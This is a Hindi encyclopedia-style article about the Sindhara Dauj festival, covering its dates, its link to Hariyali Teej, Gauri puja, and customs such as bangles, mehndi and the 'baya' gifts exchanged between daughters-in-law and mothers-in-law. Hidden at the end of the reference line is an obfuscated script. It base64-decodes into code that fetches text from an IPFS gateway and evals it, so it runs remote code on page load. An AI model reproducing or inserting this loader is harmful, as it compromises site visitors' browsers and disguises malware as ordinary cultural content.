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सिंधारा दौज

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सिंधारा दौज (अंग्रेज़ी: Sindhara Dauj) हिन्दुओं का त्यौहार है जो चैत्र माह में शुक्ल पक्ष की द्वितीया तिथि को मनाया जाता है। कुछ स्थानों पर इस त्यौहार को श्रावण माह में शुक्ल पक्ष की द्वितीया को हरियाली तीज से एक दिन पहले मनाया जाता है। सावन माह के शुक्ल पक्ष की द्वितीया तिथि को मनाई जाने वाली सिंधारा दौज और हरियाली तीज का गहरा संबंध है।

नवरात्रि के दूसरे दिन उत्तरी भारत के सभी हिस्सों में महिलाओं द्वारा मनाया जाने वाला सबसे शुभ और जीवंत उत्सव है। यह एक ऐसा महत्त्वपूर्ण दिन होता है जो सभी बहूओं को समर्पित होता है। कुछ महिलाएं इस दिन उपवास भी करती हैं और अपने पतियों की दीर्घायु के लिए प्रार्थना करती हैं।

महत्त्व

उत्तरी भारत के कुछ हिस्सों में सभी महिलाओं द्वारा सिंधारा दौज को बहुत उत्साह और श्रद्धा के साथ मनाया जाता है। कुछ हिस्सों में महिलाएं एक-दूसरे के साथ उपहारों का आदान-प्रदान भी करती हैं और पारंपरिक पोशाक भी पहनती हैं। शाम में देवी को मिठाई और फूल अर्पण कर बेहद श्रद्धा के साथ गौरी पूजा की जाती है।[1]

पूजा

सिंधारा दौज को 'सौभाग्य दूज', 'गौरी द्वितिया' या स्थान्य वृद्धि के रूप में भी जाना जाता है। इस दिन मां ब्रह्मचारिणी की भी पूजा की जाती है।

रीति-रिवाज और समारोह

  • सिंधारा दौज के शुभ त्यौहार पर महिलाएँ खुद को पारंपरिक पोशाक में सजाती हैं। अपने हाथों और पैरों पर मेहन्दी लगाती हैं और भारी गहने पहनती हैं।
  • चूड़ीयां इस उत्सव का अभिन्न अंग है। वास्तव में नई चूड़ीयां खरीदना और अन्य महिलाओं को चूड़ीयों का उपहार देना भी इस उत्सव की एक दिलचस्प परंपरा है।
  • मुख्य रूप से सिंधारा दौज बहुओं का त्योहार है। इस दिन सास अपनी बहुओं को भव्य उपहार प्रस्तुत करती हैं, जो अपने माता-पिता के घर में इन उपहारों के साथ आती हैं। *सिंधारा दौज के दिन बहूऐं अपने माता-पिता द्वारा दिए गए ‘बाया’ लेकर अपने ससुराल वापस आ जाती हैं। ‘बाया’ में फल, व्यंजन और मिठाई और धन शामिल होता है।
  • शाम को गौर माता या देवी पार्वती की पूजा करने के बाद वह अपनी सास को यह ‘बाया’ भेंट करती हैं।
  • दक्षिण भारत में खासकर तमिलनाडु और केरल में, महेश्वरी सप्तमत्रिका पूजा सिंधारा दौज के दिन की जाती है।
  • महिलाओं के लिए सिंधारा दौज एक महत्वपूर्ण त्योहार है, क्योंकि वे एक सुखी और आनंदित विवाहित जीवन के लिए गौर माता का आशीर्वाद चाहती हैं।


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टीका टिप्पणी और संदर्भ

  1. सिंधारा दौज का महत्त्व (हिंदी) hindi.mpanchang.com। अभिगमन तिथि: 28 फ़रवरी, 2024।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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